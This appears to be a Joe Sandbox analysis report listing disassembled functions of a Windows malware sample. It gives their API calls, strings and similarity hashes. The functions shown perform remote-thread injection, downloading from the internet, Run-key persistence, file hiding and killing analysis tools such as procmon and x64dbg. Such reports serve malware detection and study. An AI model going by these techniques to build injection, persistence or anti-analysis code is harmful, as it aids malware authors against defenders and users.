API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: 2760cc306fb648241171a8ad32ec7adba68cc7e55a00feed93d80baffd57ff2b
Instruction ID: c058dd95e74c3f0536114a6febf41f056ce97f443d8e147d511e5d3c4ccbbd38
Opcode Fuzzy Hash: 2760cc306fb648241171a8ad32ec7adba68cc7e55a00feed93d80baffd57ff2b
Instruction Fuzzy Hash: 9EF0826590E283C1F7B27B24980877A2BE0BB45708F148176D19D86B94CF3CD509FB12

Function 00007FF64C3714EC Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF64C3714FF
GetProcAddress.KERNEL32 ref: 00007FF64C371514

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 3de293353023ce7eaf1012c377f6a933be5880676eb30226596abc0cfb8adc53
Instruction ID: 0e3bd9816781a86a95e81ee172e005323461901c3f594e69741f126859fce586
Opcode Fuzzy Hash: 3de293353023ce7eaf1012c377f6a933be5880676eb30226596abc0cfb8adc53
Instruction Fuzzy Hash: 35E09276509F80D6C620AB15F88405AB7B4FBC8794F504125EACD82B28CF3CC169CB01

Function 00007FF64C373B60 Relevance: 1.3, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FF64C373B7C

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d1a65825d00a0a8f886085addddc4effb35e2bef33e2ecafd4a107c231f5f181
Instruction ID: fa5b577a179cbb2b19bfb7fca5988f7b04aec08bf5b28fc0ac6d14aa604662d1
Opcode Fuzzy Hash: d1a65825d00a0a8f886085addddc4effb35e2bef33e2ecafd4a107c231f5f181
Instruction Fuzzy Hash: DAC012B1F2A180C7DB1DAF22E491B0A2A20A784740F908029EA42A7B84CD3EC2528F00

Function 00007FF64C373B30 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF64C373B4E

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4b462866a68ef945608e70b48320bdff337310a325796390ca19b9d3342df2bc
Instruction ID: 14b813ec90f30caf7aa1dd74503d4dde6a47c59d9d1cf6ceca4253990aa31ba5
Opcode Fuzzy Hash: 4b462866a68ef945608e70b48320bdff337310a325796390ca19b9d3342df2bc
Instruction Fuzzy Hash: 2BD01221E3D981C1EB95FB26E889B15A2A0FFC4744F50C03AE68D81A64CF3CC099CF00

Non-executed Functions

Function 00007FF64C3710D8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF64C3710FC

Strings

@, xrefs: 00007FF64C371215
RtlCreateUserThread, xrefs: 00007FF64C37130B
, xrefs: 00007FF64C3711C5
ntdll, xrefs: 00007FF64C3712FE

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: OpenProcess
String ID: $@$RtlCreateUserThread$ntdll
API String ID: 3743895883-721857904
Opcode ID: f6177f26ecfa6db8765b7d7ab30776b26dd5ef2a04f7b13f717e068dc597f609
Instruction ID: cc74ddf907fd77503fd6001820ba8ffd401cc93d9a6ba5a2389739e241937a43
Opcode Fuzzy Hash: f6177f26ecfa6db8765b7d7ab30776b26dd5ef2a04f7b13f717e068dc597f609
Instruction Fuzzy Hash: DD71EC3690DA81C6F771BB15E444BAAB7A0FB84784F508136D68DC6B98DF7CD884DB40

Function 00007FF64C37216C Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138networksleepmemoryCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF64C3721B0
Sleep.KERNEL32 ref: 00007FF64C3721C8
InternetOpenUrlW.WININET ref: 00007FF64C3721F4
InternetOpenUrlW.WININET ref: 00007FF64C37222B
InternetCloseHandle.WININET ref: 00007FF64C372243
Sleep.KERNEL32 ref: 00007FF64C37224E
HttpQueryInfoA.WININET ref: 00007FF64C37227E
InternetCloseHandle.WININET ref: 00007FF64C37228D
InternetCloseHandle.WININET ref: 00007FF64C372298
Sleep.KERNEL32 ref: 00007FF64C3722A3
InternetCloseHandle.WININET ref: 00007FF64C3722BD
InternetOpenUrlW.WININET ref: 00007FF64C3722E7
InternetCloseHandle.WININET ref: 00007FF64C3722FF
Sleep.KERNEL32 ref: 00007FF64C37230A
HttpQueryInfoA.WININET ref: 00007FF64C372342
GetProcessHeap.KERNEL32 ref: 00007FF64C372351
RtlAllocateHeap.NTDLL ref: 00007FF64C372367
InternetCloseHandle.WININET ref: 00007FF64C37237F
InternetCloseHandle.WININET ref: 00007FF64C37238A
InternetReadFile.WININET ref: 00007FF64C3723C7
InternetCloseHandle.WININET ref: 00007FF64C3723FD
InternetCloseHandle.WININET ref: 00007FF64C372408

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF64C3721A9

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocateFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 2307068205-2771526726
Opcode ID: 13638dc1b1c5aae3aed83746edefc4c73050562fd4d9e98bbe27450033a219e6
Instruction ID: d77bb853690161be94e971c4c11f7f6b06a5f81568471c1fa0b19c712a9e7721
Opcode Fuzzy Hash: 13638dc1b1c5aae3aed83746edefc4c73050562fd4d9e98bbe27450033a219e6
Instruction Fuzzy Hash: 2971E63261DA81C2E751FB55F894B2AB7A0FBC4795F109036EA8E83B68CF7DD4449B40

Function 00007FF64C374570 Relevance: 25.7, APIs: 17, Instructions: 155memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF64C3745B7
GetFileSize.KERNEL32 ref: 00007FF64C3745D8
GetProcessHeap.KERNEL32 ref: 00007FF64C3745EE
RtlAllocateHeap.NTDLL ref: 00007FF64C374607
CloseHandle.KERNEL32 ref: 00007FF64C37461F

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: FileHeap$AllocateCloseCreateHandleProcessSize
String ID:
API String ID: 2693768547-0
Opcode ID: 281709a38610f6278202128174565b7605c8e1cf19e78cd386e0a5044a6a1a24
Instruction ID: 0fd26723af560f7921f00ee7e3711d54bf83ee6f3b7512614e9da2b626d2de53
Opcode Fuzzy Hash: 281709a38610f6278202128174565b7605c8e1cf19e78cd386e0a5044a6a1a24
Instruction Fuzzy Hash: E181F83260DB81C2EA51EB55F48476AB7A0FBC9B95F108136EA8D93B68DF3CD044DB00

Function 00007FF64C373078 Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64C374450: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C3730B3), ref: 00007FF64C374498
Part of subcall function 00007FF64C374450: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C3730B3), ref: 00007FF64C3744D5
Part of subcall function 00007FF64C374450: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C3730B3), ref: 00007FF64C3744E0

Part of subcall function 00007FF64C373B90: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C3730B8), ref: 00007FF64C373BD3
Part of subcall function 00007FF64C373B90: RegSetValueExW.ADVAPI32 ref: 00007FF64C373C09
Part of subcall function 00007FF64C373B90: RegCloseKey.ADVAPI32 ref: 00007FF64C373C18

Part of subcall function 00007FF64C373C30: RegDeleteKeyW.ADVAPI32 ref: 00007FF64C373C48

Part of subcall function 00007FF64C373E30: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF64C373E43

Part of subcall function 00007FF64C373E30: Process32FirstW.KERNEL32 ref: 00007FF64C373E76
Part of subcall function 00007FF64C373E30: CloseHandle.KERNEL32 ref: 00007FF64C373E88

Part of subcall function 00007FF64C373E30: wcscmp.MSVCRT ref: 00007FF64C373E9D
Part of subcall function 00007FF64C373E30: OpenProcess.KERNEL32 ref: 00007FF64C373EB3
Part of subcall function 00007FF64C373E30: TerminateProcess.KERNEL32 ref: 00007FF64C373ED6
Part of subcall function 00007FF64C373E30: CloseHandle.KERNEL32 ref: 00007FF64C373EE4
Part of subcall function 00007FF64C373E30: Process32NextW.KERNEL32 ref: 00007FF64C373EF7
Part of subcall function 00007FF64C373E30: CloseHandle.KERNEL32 ref: 00007FF64C373F09

Part of subcall function 00007FF64C3739C0: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF64C373B18), ref: 00007FF64C3739F0

Sleep.KERNEL32 ref: 00007FF64C373162

Strings

procexp64.exe, xrefs: 00007FF64C3730F6
TOTALCMD.exe, xrefs: 00007FF64C373102
procmon.exe, xrefs: 00007FF64C37313E
ProcessHacker.exe, xrefs: 00007FF64C3730DE
idaq64.exe, xrefs: 00007FF64C37311A
x64dbg.exe, xrefs: 00007FF64C37310E
Services, xrefs: 00007FF64C373151
idaq.exe, xrefs: 00007FF64C373126
procexp.exe, xrefs: 00007FF64C3730EA
autoruns.exe, xrefs: 00007FF64C373132

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: 279fda33ac18d26a8aa4f036a6ea5727a47bf55fa1b9fed43bc03c8fe3f26106
Instruction ID: 6c615f288a5ea30d60e0606ee245d2f9008895aedf792fe970693425522cd74b
Opcode Fuzzy Hash: 279fda33ac18d26a8aa4f036a6ea5727a47bf55fa1b9fed43bc03c8fe3f26106
Instruction Fuzzy Hash: 4021C921A2E583D1EA86FB20D965DB52365AF94300F80D133D51ED27E2DE6CE905F363

Function 00007FF64C372E08 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF64C372E21
ReleaseMutex.KERNEL32 ref: 00007FF64C372E39
CloseHandle.KERNEL32 ref: 00007FF64C372E44
GetLastError.KERNEL32 ref: 00007FF64C372E51
ReleaseMutex.KERNEL32 ref: 00007FF64C372E63
CloseHandle.KERNEL32 ref: 00007FF64C372E6E

Strings

rbNSpGEsyb, xrefs: 00007FF64C372E0C

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: 9c3a1fa2930bd4c4931f773c359433a412b5a980c5de1ef126c7f09276534dfe
Instruction ID: 394f4dd251b7b26856b235bbb5c42a6271419b61c9578285b34219855a96cc6e
Opcode Fuzzy Hash: 9c3a1fa2930bd4c4931f773c359433a412b5a980c5de1ef126c7f09276534dfe
Instruction Fuzzy Hash: C301E526A0EA02C1E731BB22E8546396770FB98B94F448533E98ED6B74CF3CD585E601

Function 00007FF64C373E30 Relevance: 13.5, APIs: 9, Instructions: 44processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF64C373E43
Process32FirstW.KERNEL32 ref: 00007FF64C373E76
CloseHandle.KERNEL32 ref: 00007FF64C373E88

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: a3534e13e2ca229a2334e93633bd457ff5c86ad14382aa1a9374919d11bd80be
Instruction ID: 24b9285e70bda875a68ad104f7cd4291acd1293a26f6f30523baaf7146a092a4
Opcode Fuzzy Hash: a3534e13e2ca229a2334e93633bd457ff5c86ad14382aa1a9374919d11bd80be
Instruction Fuzzy Hash: F7212431A0DA86C1F7B1BB15E89C76A6361FBC4754F008236D69D82BA8DF3DD445EB01

Function 00007FF64C372EA8 Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF64C372EBA
ReleaseMutex.KERNEL32 ref: 00007FF64C372ED2
CloseHandle.KERNEL32 ref: 00007FF64C372EDD
GetLastError.KERNEL32 ref: 00007FF64C372EEA
ReleaseMutex.KERNEL32 ref: 00007FF64C372EFC
CloseHandle.KERNEL32 ref: 00007FF64C372F07

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: 0ff44a8e6de8ed1e0195ea57690e214b8abe1ab05dd50aed0b9b1818bdfdce29
Instruction ID: 3cd1bf8da447a93c7cd36d0cb4621f96910eabef406905887893220ad116d917
Opcode Fuzzy Hash: 0ff44a8e6de8ed1e0195ea57690e214b8abe1ab05dd50aed0b9b1818bdfdce29
Instruction Fuzzy Hash: F001E836A1EA82C2E722FB21E85463D6370FBC8B45F408132E98ED6B64CF3DD544E601

Function 00007FF64C373CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF64C373D0D
PathFindFileNameW.SHLWAPI ref: 00007FF64C373D20
wcslen.MSVCRT ref: 00007FF64C373D36
wcsncpy.MSVCRT ref: 00007FF64C373DFB

Strings

Unknown, xrefs: 00007FF64C373DEC

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: 690d95a03e7d81498ee8eba6f9864dd8d054eb80074039efc5352044d11b8409
Instruction ID: 6cb89253bdce97c47fcdfb08cdd222602066c7139b5e7d3d4245b428eebdbd44
Opcode Fuzzy Hash: 690d95a03e7d81498ee8eba6f9864dd8d054eb80074039efc5352044d11b8409
Instruction Fuzzy Hash: 0E31B67661DAC4C5D7B1BB19E4987AAA3A0FB88B40F404236DA8DC3B68DF3CD554DB00

Function 00007FF64C373B90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C3730B8), ref: 00007FF64C373BD3
RegSetValueExW.ADVAPI32 ref: 00007FF64C373C09
RegCloseKey.ADVAPI32 ref: 00007FF64C373C18

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF64C373B94
Hidden, xrefs: 00007FF64C373BA0

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: f3e07836e5ba881a062dce503c66c0d491a456e500aa4065dadb97dc516c8326
Instruction ID: ecde8fe91504e9962cea95d6f4a112bfd68c814159edd3d4c9ce893f24566623
Opcode Fuzzy Hash: f3e07836e5ba881a062dce503c66c0d491a456e500aa4065dadb97dc516c8326
Instruction Fuzzy Hash: 0501297661DA80CAD751BB14E844B1AB770F788794F405236EB8D83B68DF7CC144CB00

Function 00007FF64C3713C4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF64C3713DC
GetProcAddress.KERNEL32 ref: 00007FF64C3713EC

Strings

kernel32, xrefs: 00007FF64C3713D5
IsWow64Process, xrefs: 00007FF64C3713E2
@, xrefs: 00007FF64C371429

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: @$IsWow64Process$kernel32
API String ID: 1646373207-1447682865
Opcode ID: a9bbf8a12f5d8eb6f8ad7e89cb270f3f310781ea658b203d01df111f79f738b7
Instruction ID: 0feb1bd6756b7df821995e94ac0aad45d5167d71e5f6bd624a9cccd127b203e3
Opcode Fuzzy Hash: a9bbf8a12f5d8eb6f8ad7e89cb270f3f310781ea658b203d01df111f79f738b7
Instruction Fuzzy Hash: C501EC2690D646C6E635BB10E44876977B0FB88348F908136D68E82794DF7CD959DF00

Function 00007FF64C374010 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF64C37402E
Process32FirstW.KERNEL32 ref: 00007FF64C374060
wcscmp.MSVCRT ref: 00007FF64C374077
CloseHandle.KERNEL32 ref: 00007FF64C3740AD

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 3376bb50e415439aee280495e9a60c98961ef2e9d1aea3ddbb3f594fd01ecb72
Instruction ID: e59bce2d00acf90e28e93dad67d8bcdc77f603f1be4cfdfecbfff096b8efe567
Opcode Fuzzy Hash: 3376bb50e415439aee280495e9a60c98961ef2e9d1aea3ddbb3f594fd01ecb72
Instruction Fuzzy Hash: FA11EC75A0D686C1E771BF15E88C7AAA3A0FB84754F008236D69D82798DF3DE405EF01

Function 00007FF64C3739C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF64C373B18), ref: 00007FF64C3739F0
RegSetValueExW.ADVAPI32 ref: 00007FF64C373A45
RegCloseKey.ADVAPI32 ref: 00007FF64C373A54

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF64C3739E2

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

